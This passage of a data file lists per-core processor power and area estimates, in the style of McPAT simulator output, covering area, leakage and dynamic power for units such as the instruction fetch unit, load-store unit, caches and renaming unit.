'Execution Unit/Instruction Scheduler/Subthreshold Leakage': 0.0859892,
'Execution Unit/Instruction Scheduler/Subthreshold Leakage with power gating': 0.047346,
'Execution Unit/Integer ALUs/Area': 0.47087,
'Execution Unit/Integer ALUs/Gate Leakage': 0.0265291,
'Execution Unit/Integer ALUs/Peak Dynamic': 0.0904431,
'Execution Unit/Integer ALUs/Runtime Dynamic': 0.101344,
'Execution Unit/Integer ALUs/Subthreshold Leakage': 0.40222,
'Execution Unit/Integer ALUs/Subthreshold Leakage with power gating': 0.150833,
'Execution Unit/Peak Dynamic': 4.47415,
'Execution Unit/Register Files/Area': 0.570804,
'Execution Unit/Register Files/Floating Point RF/Area': 0.208131,
'Execution Unit/Register Files/Floating Point RF/Gate Leakage': 0.000232788,
'Execution Unit/Register Files/Floating Point RF/Peak Dynamic': 0.0507302,
'Execution Unit/Register Files/Floating Point RF/Runtime Dynamic': 0.00482678,
'Execution Unit/Register Files/Floating Point RF/Subthreshold Leakage': 0.00399698,
'Execution Unit/Register Files/Floating Point RF/Subthreshold Leakage with power gating': 0.00176968,
'Execution Unit/Register Files/Gate Leakage': 0.000622708,
'Execution Unit/Register Files/Integer RF/Area': 0.362673,
'Execution Unit/Register Files/Integer RF/Gate Leakage': 0.00038992,
'Execution Unit/Register Files/Integer RF/Peak Dynamic': 0.053762,
'Execution Unit/Register Files/Integer RF/Runtime Dynamic': 0.035697,
'Execution Unit/Register Files/Integer RF/Subthreshold Leakage': 0.00614175,
'Execution Unit/Register Files/Integer RF/Subthreshold Leakage with power gating': 0.00246675,
'Execution Unit/Register Files/Peak Dynamic': 0.104492,
'Execution Unit/Register Files/Runtime Dynamic': 0.0405238,
'Execution Unit/Register Files/Subthreshold Leakage': 0.0101387,
'Execution Unit/Register Files/Subthreshold Leakage with power gating': 0.00423643,
'Execution Unit/Results Broadcast Bus/Area Overhead': 0.0390912,
'Execution Unit/Results Broadcast Bus/Gate Leakage': 0.00537402,
'Execution Unit/Results Broadcast Bus/Peak Dynamic': 0.125798,
'Execution Unit/Results Broadcast Bus/Runtime Dynamic': 0.313497,
'Execution Unit/Results Broadcast Bus/Subthreshold Leakage': 0.081478,
'Execution Unit/Results Broadcast Bus/Subthreshold Leakage with power gating': 0.0305543,
'Execution Unit/Runtime Dynamic': 1.39584,
'Execution Unit/Subthreshold Leakage': 1.79543,
'Execution Unit/Subthreshold Leakage with power gating': 0.688821,
'Gate Leakage': 0.368936,
'Instruction Fetch Unit/Area': 5.85939,
'Instruction Fetch Unit/Branch Predictor/Area': 0.138516,
'Instruction Fetch Unit/Branch Predictor/Chooser/Area': 0.0435221,
'Instruction Fetch Unit/Branch Predictor/Chooser/Gate Leakage': 0.000278362,
'Instruction Fetch Unit/Branch Predictor/Chooser/Peak Dynamic': 0.0168831,
'Instruction Fetch Unit/Branch Predictor/Chooser/Runtime Dynamic': 0.000320159,
'Instruction Fetch Unit/Branch Predictor/Chooser/Subthreshold Leakage': 0.00759719,
'Instruction Fetch Unit/Branch Predictor/Chooser/Subthreshold Leakage with power gating': 0.0039236,
'Instruction Fetch Unit/Branch Predictor/Gate Leakage': 0.000757657,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Area': 0.0435221,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Gate Leakage': 0.000278362,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Peak Dynamic': 0.0168831,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Runtime Dynamic': 0.000320159,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Subthreshold Leakage': 0.00759719,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Subthreshold Leakage with power gating': 0.0039236,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Area': 0.0257064,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Gate Leakage': 0.000154548,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Peak Dynamic': 0.0142575,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Runtime Dynamic': 0.000293908,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Subthreshold Leakage': 0.00384344,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Subthreshold Leakage with power gating': 0.00198631,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Area': 0.0151917,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Gate Leakage': 8.00196e-05,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Peak Dynamic': 0.00527447,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Runtime Dynamic': 0.000122008,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Subthreshold Leakage': 0.00181347,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Subthreshold Leakage with power gating': 0.000957045,
'Instruction Fetch Unit/Branch Predictor/Peak Dynamic': 0.0597838,
'Instruction Fetch Unit/Branch Predictor/RAS/Area': 0.0105732,
'Instruction Fetch Unit/Branch Predictor/RAS/Gate Leakage': 4.63858e-05,
'Instruction Fetch Unit/Branch Predictor/RAS/Peak Dynamic': 0.0117602,
'Instruction Fetch Unit/Branch Predictor/RAS/Runtime Dynamic': 0.000512791,
'Instruction Fetch Unit/Branch Predictor/RAS/Subthreshold Leakage': 0.000932505,
'Instruction Fetch Unit/Branch Predictor/RAS/Subthreshold Leakage with power gating': 0.000494733,
'Instruction Fetch Unit/Branch Predictor/Runtime Dynamic': 0.00144702,
'Instruction Fetch Unit/Branch Predictor/Subthreshold Leakage': 0.0199703,
'Instruction Fetch Unit/Branch Predictor/Subthreshold Leakage with power gating': 0.0103282,
'Instruction Fetch Unit/Branch Target Buffer/Area': 0.64954,
'Instruction Fetch Unit/Branch Target Buffer/Gate Leakage': 0.00272758,
'Instruction Fetch Unit/Branch Target Buffer/Peak Dynamic': 0.177867,
'Instruction Fetch Unit/Branch Target Buffer/Runtime Dynamic': 0.00253196,
'Instruction Fetch Unit/Branch Target Buffer/Subthreshold Leakage': 0.0811682,
'Instruction Fetch Unit/Branch Target Buffer/Subthreshold Leakage with power gating': 0.0435357,
'Instruction Fetch Unit/Gate Leakage': 0.0589979,
'Instruction Fetch Unit/Instruction Buffer/Area': 0.0226323,
'Instruction Fetch Unit/Instruction Buffer/Gate Leakage': 6.83558e-05,
'Instruction Fetch Unit/Instruction Buffer/Peak Dynamic': 0.606827,
'Instruction Fetch Unit/Instruction Buffer/Runtime Dynamic': 0.0343165,
'Instruction Fetch Unit/Instruction Buffer/Subthreshold Leakage': 0.00151885,
'Instruction Fetch Unit/Instruction Buffer/Subthreshold Leakage with power gating': 0.000701682,
'Instruction Fetch Unit/Instruction Cache/Area': 3.14635,
'Instruction Fetch Unit/Instruction Cache/Gate Leakage': 0.029931,
'Instruction Fetch Unit/Instruction Cache/Peak Dynamic': 2.18282,
'Instruction Fetch Unit/Instruction Cache/Runtime Dynamic': 0.0781836,
'Instruction Fetch Unit/Instruction Cache/Subthreshold Leakage': 0.367022,
'Instruction Fetch Unit/Instruction Cache/Subthreshold Leakage with power gating': 0.180386,
'Instruction Fetch Unit/Instruction Decoder/Area': 1.85799,
'Instruction Fetch Unit/Instruction Decoder/Gate Leakage': 0.0222493,
'Instruction Fetch Unit/Instruction Decoder/Peak Dynamic': 1.37404,
'Instruction Fetch Unit/Instruction Decoder/Runtime Dynamic': 0.116554,
'Instruction Fetch Unit/Instruction Decoder/Subthreshold Leakage': 0.442943,
'Instruction Fetch Unit/Instruction Decoder/Subthreshold Leakage with power gating': 0.166104,
'Instruction Fetch Unit/Peak Dynamic': 4.50727,
'Instruction Fetch Unit/Runtime Dynamic': 0.233033,
'Instruction Fetch Unit/Subthreshold Leakage': 0.932286,
'Instruction Fetch Unit/Subthreshold Leakage with power gating': 0.40843,
'L2/Area': 4.53318,
'L2/Gate Leakage': 0.015464,
'L2/Peak Dynamic': 0.0462668,
'L2/Runtime Dynamic': 0.00372884,
'L2/Subthreshold Leakage': 0.834142,
'L2/Subthreshold Leakage with power gating': 0.401066,
'Load Store Unit/Area': 8.80901,
'Load Store Unit/Data Cache/Area': 6.84535,
'Load Store Unit/Data Cache/Gate Leakage': 0.0279261,
'Load Store Unit/Data Cache/Peak Dynamic': 2.61586,
'Load Store Unit/Data Cache/Runtime Dynamic': 0.666543,
'Load Store Unit/Data Cache/Subthreshold Leakage': 0.527675,
'Load Store Unit/Data Cache/Subthreshold Leakage with power gating': 0.25085,
'Load Store Unit/Gate Leakage': 0.0350888,
'Load Store Unit/LoadQ/Area': 0.0836782,
'Load Store Unit/LoadQ/Gate Leakage': 0.00059896,
'Load Store Unit/LoadQ/Peak Dynamic': 0.0446055,
'Load Store Unit/LoadQ/Runtime Dynamic': 0.0446056,
'Load Store Unit/LoadQ/Subthreshold Leakage': 0.00941961,
'Load Store Unit/LoadQ/Subthreshold Leakage with power gating': 0.00536918,
'Load Store Unit/Peak Dynamic': 2.82649,
'Load Store Unit/Runtime Dynamic': 0.931128,
'Load Store Unit/StoreQ/Area': 0.322079,
'Load Store Unit/StoreQ/Gate Leakage': 0.00329971,
'Load Store Unit/StoreQ/Peak Dynamic': 0.109989,
'Load Store Unit/StoreQ/Runtime Dynamic': 0.219979,
'Load Store Unit/StoreQ/Subthreshold Leakage': 0.0345621,
'Load Store Unit/StoreQ/Subthreshold Leakage with power gating': 0.0197004,
'Load Store Unit/Subthreshold Leakage': 0.591321,
'Load Store Unit/Subthreshold Leakage with power gating': 0.283293,
'Memory Management Unit/Area': 0.4339,
'Memory Management Unit/Dtlb/Area': 0.0879726,
'Memory Management Unit/Dtlb/Gate Leakage': 0.00088729,
'Memory Management Unit/Dtlb/Peak Dynamic': 0.0390356,
'Memory Management Unit/Dtlb/Runtime Dynamic': 0.0397287,
'Memory Management Unit/Dtlb/Subthreshold Leakage': 0.0155699,
'Memory Management Unit/Dtlb/Subthreshold Leakage with power gating': 0.00887485,
'Memory Management Unit/Gate Leakage': 0.00808595,
'Memory Management Unit/Itlb/Area': 0.301552,
'Memory Management Unit/Itlb/Gate Leakage': 0.00393464,
'Memory Management Unit/Itlb/Peak Dynamic': 0.13572,
'Memory Management Unit/Itlb/Runtime Dynamic': 0.0128227,
'Memory Management Unit/Itlb/Subthreshold Leakage': 0.0413758,
'Memory Management Unit/Itlb/Subthreshold Leakage with power gating': 0.0235842,
'Memory Management Unit/Peak Dynamic': 0.358885,
'Memory Management Unit/Runtime Dynamic': 0.0525514,
'Memory Management Unit/Subthreshold Leakage': 0.0766103,
'Memory Management Unit/Subthreshold Leakage with power gating': 0.0398333,
'Peak Dynamic': 15.8025,
'Renaming Unit/Area': 0.303608,
'Renaming Unit/FP Front End RAT/Area': 0.131045,
'Renaming Unit/FP Front End RAT/Gate Leakage': 0.00351123,
'Renaming Unit/FP Front End RAT/Peak Dynamic': 2.51468,
'Renaming Unit/FP Front End RAT/Runtime Dynamic': 0.133448,
'Renaming Unit/FP Front End RAT/Subthreshold Leakage': 0.0308571,
'Renaming Unit/FP Front End RAT/Subthreshold Leakage with power gating': 0.0175885,
'Renaming Unit/Free List/Area': 0.0340654,
'Renaming Unit/Free List/Gate Leakage': 2.5481e-05,
'Renaming Unit/Free List/Peak Dynamic': 0.0306032,
'Renaming Unit/Free List/Runtime Dynamic': 0.00681593,
'Renaming Unit/Free List/Subthreshold Leakage': 0.000370144,
'Renaming Unit/Free List/Subthreshold Leakage with power gating': 0.000201064,
'Renaming Unit/Gate Leakage': 0.00708398,
'Renaming Unit/Int Front End RAT/Area': 0.0941223,
'Renaming Unit/Int Front End RAT/Gate Leakage': 0.000283242,
'Renaming Unit/Int Front End RAT/Peak Dynamic': 0.731965,
'Renaming Unit/Int Front End RAT/Runtime Dynamic': 0.0564911,
'Renaming Unit/Int Front End RAT/Subthreshold Leakage': 0.00435488,
'Renaming Unit/Int Front End RAT/Subthreshold Leakage with power gating': 0.00248228,
'Renaming Unit/Peak Dynamic': 3.58947,
'Renaming Unit/Runtime Dynamic': 0.196755,
'Renaming Unit/Subthreshold Leakage': 0.0552466,
'Renaming Unit/Subthreshold Leakage with power gating': 0.0276461,
'Runtime Dynamic': 2.81304,
'Subthreshold Leakage': 6.16288,
'Subthreshold Leakage with power gating': 2.55328},
{'Area': 32.0201,
'Execution Unit/Area': 7.68434,
'Execution Unit/Complex ALUs/Area': 0.235435,
'Execution Unit/Complex ALUs/Gate Leakage': 0.0132646,
'Execution Unit/Complex ALUs/Peak Dynamic': 0.00369846,
'Execution Unit/Complex ALUs/Runtime Dynamic': 0.205593,
'Execution Unit/Complex ALUs/Subthreshold Leakage': 0.20111,
'Execution Unit/Complex ALUs/Subthreshold Leakage with power gating': 0.0754163,
'Execution Unit/Floating Point Units/Area': 4.6585,
'Execution Unit/Floating Point Units/Gate Leakage': 0.0656156,
'Execution Unit/Floating Point Units/Peak Dynamic': 0.0180999,
'Execution Unit/Floating Point Units/Runtime Dynamic': 0.304033,
'Execution Unit/Floating Point Units/Subthreshold Leakage': 0.994829,
'Execution Unit/Floating Point Units/Subthreshold Leakage with power gating': 0.373061,
'Execution Unit/Gate Leakage': 0.120359,
'Execution Unit/Instruction Scheduler/Area': 1.66526,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Area': 0.275653,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Gate Leakage': 0.000977433,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Peak Dynamic': 1.04181,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Runtime Dynamic': 0.086828,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Subthreshold Leakage': 0.0143453,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Subthreshold Leakage with power gating': 0.00810519,
'Execution Unit/Instruction Scheduler/Gate Leakage': 0.00568913,
'Execution Unit/Instruction Scheduler/Instruction Window/Area': 0.805223,
'Execution Unit/Instruction Scheduler/Instruction Window/Gate Leakage': 0.00414562,
'Execution Unit/Instruction Scheduler/Instruction Window/Peak Dynamic': 1.6763,
'Execution Unit/Instruction Scheduler/Instruction Window/Runtime Dynamic': 0.14005,
'Execution Unit/Instruction Scheduler/Instruction Window/Subthreshold Leakage': 0.0625755,
'Execution Unit/Instruction Scheduler/Instruction Window/Subthreshold Leakage with power gating': 0.0355964,
'Execution Unit/Instruction Scheduler/Peak Dynamic': 3.82262,
'Execution Unit/Instruction Scheduler/ROB/Area': 0.584388,
'Execution Unit/Instruction Scheduler/ROB/Gate Leakage': 0.00056608,
'Execution Unit/Instruction Scheduler/ROB/Peak Dynamic': 1.10451,
'Execution Unit/Instruction Scheduler/ROB/Runtime Dynamic': 0.0706927,
'Execution Unit/Instruction Scheduler/ROB/Subthreshold Leakage': 0.00906853,
'Execution Unit/Instruction Scheduler/ROB/Subthreshold Leakage with power gating': 0.00364446,
'Execution Unit/Instruction Scheduler/Runtime Dynamic': 0.297571,
'Execution Unit/Instruction Scheduler/Subthreshold Leakage': 0.0859892,
'Execution Unit/Instruction Scheduler/Subthreshold Leakage with power gating': 0.047346,
'Execution Unit/Integer ALUs/Area': 0.47087,
'Execution Unit/Integer ALUs/Gate Leakage': 0.0265291,
'Execution Unit/Integer ALUs/Peak Dynamic': 0.0965314,
'Execution Unit/Integer ALUs/Runtime Dynamic': 0.101344,
'Execution Unit/Integer ALUs/Subthreshold Leakage': 0.40222,
'Execution Unit/Integer ALUs/Subthreshold Leakage with power gating': 0.150833,
'Execution Unit/Peak Dynamic': 4.0446,
'Execution Unit/Register Files/Area': 0.570804,
'Execution Unit/Register Files/Floating Point RF/Area': 0.208131,
'Execution Unit/Register Files/Floating Point RF/Gate Leakage': 0.000232788,
'Execution Unit/Register Files/Floating Point RF/Peak Dynamic': 0.00341946,
'Execution Unit/Register Files/Floating Point RF/Runtime Dynamic': 0.00364195,
'Execution Unit/Register Files/Floating Point RF/Subthreshold Leakage': 0.00399698,
'Execution Unit/Register Files/Floating Point RF/Subthreshold Leakage with power gating': 0.00176968,
'Execution Unit/Register Files/Gate Leakage': 0.000622708,
'Execution Unit/Register Files/Integer RF/Area': 0.362673,
'Execution Unit/Register Files/Integer RF/Gate Leakage': 0.00038992,
'Execution Unit/Register Files/Integer RF/Peak Dynamic': 0.0277968,
'Execution Unit/Register Files/Integer RF/Runtime Dynamic': 0.0269345,
'Execution Unit/Register Files/Integer RF/Subthreshold Leakage': 0.00614175,
'Execution Unit/Register Files/Integer RF/Subthreshold Leakage with power gating': 0.00246675,
'Execution Unit/Register Files/Peak Dynamic': 0.0312163,
'Execution Unit/Register Files/Runtime Dynamic': 0.0305764,
'Execution Unit/Register Files/Subthreshold Leakage': 0.0101387,
'Execution Unit/Register Files/Subthreshold Leakage with power gating': 0.00423643,
'Execution Unit/Results Broadcast Bus/Area Overhead': 0.0390912,
'Execution Unit/Results Broadcast Bus/Gate Leakage': 0.00537402,
'Execution Unit/Results Broadcast Bus/Peak Dynamic': 0.0594849,
'Execution Unit/Results Broadcast Bus/Runtime Dynamic': 0.147491,
'Execution Unit/Results Broadcast Bus/Subthreshold Leakage': 0.081478,
'Execution Unit/Results Broadcast Bus/Subthreshold Leakage with power gating': 0.0305543,
'Execution Unit/Runtime Dynamic': 1.08661,
'Execution Unit/Subthreshold Leakage': 1.79543,
'Execution Unit/Subthreshold Leakage with power gating': 0.688821,
'Gate Leakage': 0.368936,
'Instruction Fetch Unit/Area': 5.85939,
'Instruction Fetch Unit/Branch Predictor/Area': 0.138516,
'Instruction Fetch Unit/Branch Predictor/Chooser/Area': 0.0435221,
'Instruction Fetch Unit/Branch Predictor/Chooser/Gate Leakage': 0.000278362,
'Instruction Fetch Unit/Branch Predictor/Chooser/Peak Dynamic': 0.0168831,
'Instruction Fetch Unit/Branch Predictor/Chooser/Runtime Dynamic': 0.00101653,
'Instruction Fetch Unit/Branch Predictor/Chooser/Subthreshold Leakage': 0.00759719,
'Instruction Fetch Unit/Branch Predictor/Chooser/Subthreshold Leakage with power gating': 0.0039236,
'Instruction Fetch Unit/Branch Predictor/Gate Leakage': 0.000757657,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Area': 0.0435221,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Gate Leakage': 0.000278362,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Peak Dynamic': 0.0168831,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Runtime Dynamic': 0.00101653,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Subthreshold Leakage': 0.00759719,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Subthreshold Leakage with power gating': 0.0039236,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Area': 0.0257064,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Gate Leakage': 0.000154548,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Peak Dynamic': 0.0142575,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Runtime Dynamic': 0.000895459,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Subthreshold Leakage': 0.00384344,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Subthreshold Leakage with power gating': 0.00198631,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Area': 0.0151917,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Gate Leakage': 8.00196e-05,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Peak Dynamic': 0.00527447,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Runtime Dynamic': 0.000352151,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Subthreshold Leakage': 0.00181347,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Subthreshold Leakage with power gating': 0.000957045,
'Instruction Fetch Unit/Branch Predictor/Peak Dynamic': 0.0597838,
'Instruction Fetch Unit/Branch Predictor/RAS/Area': 0.0105732,
'Instruction Fetch Unit/Branch Predictor/RAS/Gate Leakage': 4.63858e-05,
'Instruction Fetch Unit/Branch Predictor/RAS/Peak Dynamic': 0.0117602,
'Instruction Fetch Unit/Branch Predictor/RAS/Runtime Dynamic': 0.000386916,
'Instruction Fetch Unit/Branch Predictor/RAS/Subthreshold Leakage': 0.000932505,
'Instruction Fetch Unit/Branch Predictor/RAS/Subthreshold Leakage with power gating': 0.000494733,
'Instruction Fetch Unit/Branch Predictor/Runtime Dynamic': 0.00331543,
'Instruction Fetch Unit/Branch Predictor/Subthreshold Leakage': 0.0199703,
'Instruction Fetch Unit/Branch Predictor/Subthreshold Leakage with power gating': 0.0103282,
'Instruction Fetch Unit/Branch Target Buffer/Area': 0.64954,
'Instruction Fetch Unit/Branch Target Buffer/Gate Leakage': 0.00272758,
'Instruction Fetch Unit/Branch Target Buffer/Peak Dynamic': 0.177867,
'Instruction Fetch Unit/Branch Target Buffer/Runtime Dynamic': 0.0093868,
'Instruction Fetch Unit/Branch Target Buffer/Subthreshold Leakage': 0.0811682,
'Instruction Fetch Unit/Branch Target Buffer/Subthreshold Leakage with power gating': 0.0435357,
'Instruction Fetch Unit/Gate Leakage': 0.0589979,
'Instruction Fetch Unit/Instruction Buffer/Area': 0.0226323,
'Instruction Fetch Unit/Instruction Buffer/Gate Leakage': 6.83558e-05,
'Instruction Fetch Unit/Instruction Buffer/Peak Dynamic': 0.606827,
'Instruction Fetch Unit/Instruction Buffer/Runtime Dynamic': 0.0258928,
'Instruction Fetch Unit/Instruction Buffer/Subthreshold Leakage': 0.00151885,
'Instruction Fetch Unit/Instruction Buffer/Subthreshold Leakage with power gating': 0.000701682,
'Instruction Fetch Unit/Instruction Cache/Area': 3.14635,
'Instruction Fetch Unit/Instruction Cache/Gate Leakage': 0.029931,
'Instruction Fetch Unit/Instruction Cache/Peak Dynamic': 1.647,
'Instruction Fetch Unit/Instruction Cache/Runtime Dynamic': 0.0840992,
'Instruction Fetch Unit/Instruction Cache/Subthreshold Leakage': 0.367022,
'Instruction Fetch Unit/Instruction Cache/Subthreshold Leakage with power gating': 0.180386,
'Instruction Fetch Unit/Instruction Decoder/Area': 1.85799,
'Instruction Fetch Unit/Instruction Decoder/Gate Leakage': 0.0222493,
'Instruction Fetch Unit/Instruction Decoder/Peak Dynamic': 1.37404,
'Instruction Fetch Unit/Instruction Decoder/Runtime Dynamic': 0.0879436,
'Instruction Fetch Unit/Instruction Decoder/Subthreshold Leakage': 0.442943,
'Instruction Fetch Unit/Instruction Decoder/Subthreshold Leakage with power gating': 0.166104,
'Instruction Fetch Unit/Peak Dynamic': 3.94545,
'Instruction Fetch Unit/Runtime Dynamic': 0.210638,
'Instruction Fetch Unit/Subthreshold Leakage': 0.932286,
'Instruction Fetch Unit/Subthreshold Leakage with power gating': 0.40843,
'L2/Area': 4.53318,
'L2/Gate Leakage': 0.015464,
'L2/Peak Dynamic': 0.0541807,
'L2/Runtime Dynamic': 0.0155937,
'L2/Subthreshold Leakage': 0.834142,
'L2/Subthreshold Leakage with power gating': 0.401066,
'Load Store Unit/Area': 8.80901,
'Load Store Unit/Data Cache/Area': 6.84535,
'Load Store Unit/Data Cache/Gate Leakage': 0.0279261,
'Load Store Unit/Data Cache/Peak Dynamic': 1.86265,
'Load Store Unit/Data Cache/Runtime Dynamic': 0.324124,
'Load Store Unit/Data Cache/Subthreshold Leakage': 0.527675,
'Load Store Unit/Data Cache/Subthreshold Leakage with power gating': 0.25085,
'Load Store Unit/Gate Leakage': 0.0350888,
'Load Store Unit/LoadQ/Area': 0.0836782,
'Load Store Unit/LoadQ/Gate Leakage': 0.00059896,
'Load Store Unit/LoadQ/Peak Dynamic': 0.0202373,
'Load Store Unit/LoadQ/Runtime Dynamic': 0.0202373,
'Load Store Unit/LoadQ/Subthreshold Leakage': 0.00941961,
'Load Store Unit/LoadQ/Subthreshold Leakage with power gating': 0.00536918,
'Load Store Unit/Peak Dynamic': 1.95821,
'Load Store Unit/Runtime Dynamic': 0.444165,
'Load Store Unit/StoreQ/Area': 0.322079,
'Load Store Unit/StoreQ/Gate Leakage': 0.00329971,
'Load Store Unit/StoreQ/Peak Dynamic': 0.0499017,
'Load Store Unit/StoreQ/Runtime Dynamic': 0.0998034,
'Load Store Unit/StoreQ/Subthreshold Leakage': 0.0345621,
'Load Store Unit/StoreQ/Subthreshold Leakage with power gating': 0.0197004,
'Load Store Unit/Subthreshold Leakage': 0.591321,
'Load Store Unit/Subthreshold Leakage with power gating': 0.283293,
'Memory Management Unit/Area': 0.4339,
'Memory Management Unit/Dtlb/Area': 0.0879726,
'Memory Management Unit/Dtlb/Gate Leakage': 0.00088729,
'Memory Management Unit/Dtlb/Peak Dynamic': 0.0177103,
'Memory Management Unit/Dtlb/Runtime Dynamic': 0.0185224,
'Memory Management Unit/Dtlb/Subthreshold Leakage': 0.0155699,
'Memory Management Unit/Dtlb/Subthreshold Leakage with power gating': 0.00887485,
'Memory Management Unit/Gate Leakage': 0.00808595,
'Memory Management Unit/Itlb/Area': 0.301552,
'Memory Management Unit/Itlb/Gate Leakage': 0.00393464,
'Memory Management Unit/Itlb/Peak Dynamic': 0.102405,
'Memory Management Unit/Itlb/Runtime Dynamic': 0.0137916,
'Memory Management Unit/Itlb/Subthreshold Leakage': 0.0413758,
'Memory Management Unit/Itlb/Subthreshold Leakage with power gating': 0.0235842,
'Memory Management Unit/Peak Dynamic': 0.288937,
'Memory Management Unit/Runtime Dynamic': 0.032314,
'Memory Management Unit/Subthreshold Leakage': 0.0766103,
'Memory Management Unit/Subthreshold Leakage with power gating': 0.0398333,
'Peak Dynamic': 13.8809,
'Renaming Unit/Area': 0.303608,
'Renaming Unit/FP Front End RAT/Area': 0.131045,
'Renaming Unit/FP Front End RAT/Gate Leakage': 0.00351123,
'Renaming Unit/FP Front End RAT/Peak Dynamic': 2.51468,
'Renaming Unit/FP Front End RAT/Runtime Dynamic': 0.00899521,
'Renaming Unit/FP Front End RAT/Subthreshold Leakage': 0.0308571,
'Renaming Unit/FP Front End RAT/Subthreshold Leakage with power gating': 0.0175885,
'Renaming Unit/Free List/Area': 0.0340654,
'Renaming Unit/Free List/Gate Leakage': 2.5481e-05,
'Renaming Unit/Free List/Peak Dynamic': 0.0306032,
'Renaming Unit/Free List/Runtime Dynamic': 0.00402691,
'Renaming Unit/Free List/Subthreshold Leakage': 0.000370144,
'Renaming Unit/Free List/Subthreshold Leakage with power gating': 0.000201064,
'Renaming Unit/Gate Leakage': 0.00708398,
'Renaming Unit/Int Front End RAT/Area': 0.0941223,
'Renaming Unit/Int Front End RAT/Gate Leakage': 0.000283242,
'Renaming Unit/Int Front End RAT/Peak Dynamic': 0.731965,
'Renaming Unit/Int Front End RAT/Runtime Dynamic': 0.0440612,
'Renaming Unit/Int Front End RAT/Subthreshold Leakage': 0.00435488,
'Renaming Unit/Int Front End RAT/Subthreshold Leakage with power gating': 0.00248228,
'Renaming Unit/Peak Dynamic': 3.58947,
'Renaming Unit/Runtime Dynamic': 0.0570833,
'Renaming Unit/Subthreshold Leakage': 0.0552466,
'Renaming Unit/Subthreshold Leakage with power gating': 0.0276461,
'Runtime Dynamic': 1.8464,
'Subthreshold Leakage': 6.16288,
'Subthreshold Leakage with power gating': 2.55328},
{'Area': 32.0201,
'Execution Unit/Area': 7.68434,
'Execution Unit/Complex ALUs/Area': 0.235435,
'Execution Unit/Complex ALUs/Gate Leakage': 0.0132646,
'Execution Unit/Complex ALUs/Peak Dynamic': 0.0924322,
'Execution Unit/Complex ALUs/Runtime Dynamic': 0.275289,
'Execution Unit/Complex ALUs/Subthreshold Leakage': 0.20111,
'Execution Unit/Complex ALUs/Subthreshold Leakage with power gating': 0.0754163,
'Execution Unit/Floating Point Units/Area': 4.6585,
'Execution Unit/Floating Point Units/Gate Leakage': 0.0656156,
'Execution Unit/Floating Point Units/Peak Dynamic': 0.585473,
'Execution Unit/Floating Point Units/Runtime Dynamic': 0.304033,
'Execution Unit/Floating Point Units/Subthreshold Leakage': 0.994829,
'Execution Unit/Floating Point Units/Subthreshold Leakage with power gating': 0.373061,
'Execution Unit/Gate Leakage': 0.120359,
'Execution Unit/Instruction Scheduler/Area': 1.66526,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Area': 0.275653,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Gate Leakage': 0.000977433,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Peak Dynamic': 1.04181,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Runtime Dynamic': 0.178572,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Subthreshold Leakage': 0.0143453,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Subthreshold Leakage with power gating': 0.00810519,
'Execution Unit/Instruction Scheduler/Gate Leakage': 0.00568913,
'Execution Unit/Instruction Scheduler/Instruction Window/Area': 0.805223,
'Execution Unit/Instruction Scheduler/Instruction Window/Gate Leakage': 0.00414562,
'Execution Unit/Instruction Scheduler/Instruction Window/Peak Dynamic': 1.6763,
'Execution Unit/Instruction Scheduler/Instruction Window/Runtime Dynamic': 0.28803,
'Execution Unit/Instruction Scheduler/Instruction Window/Subthreshold Leakage': 0.0625755,
'Execution Unit/Instruction Scheduler/Instruction Window/Subthreshold Leakage with power gating': 0.0355964,
'Execution Unit/Instruction Scheduler/Peak Dynamic': 3.82262,
'Execution Unit/Instruction Scheduler/ROB/Area': 0.584388,
'Execution Unit/Instruction Scheduler/ROB/Gate Leakage': 0.00056608,
'Execution Unit/Instruction Scheduler/ROB/Peak Dynamic': 1.10451,
'Execution Unit/Instruction Scheduler/ROB/Runtime Dynamic': 0.145388,
'Execution Unit/Instruction Scheduler/ROB/Subthreshold Leakage': 0.00906853,
'Execution Unit/Instruction Scheduler/ROB/Subthreshold Leakage with power gating': 0.00364446,
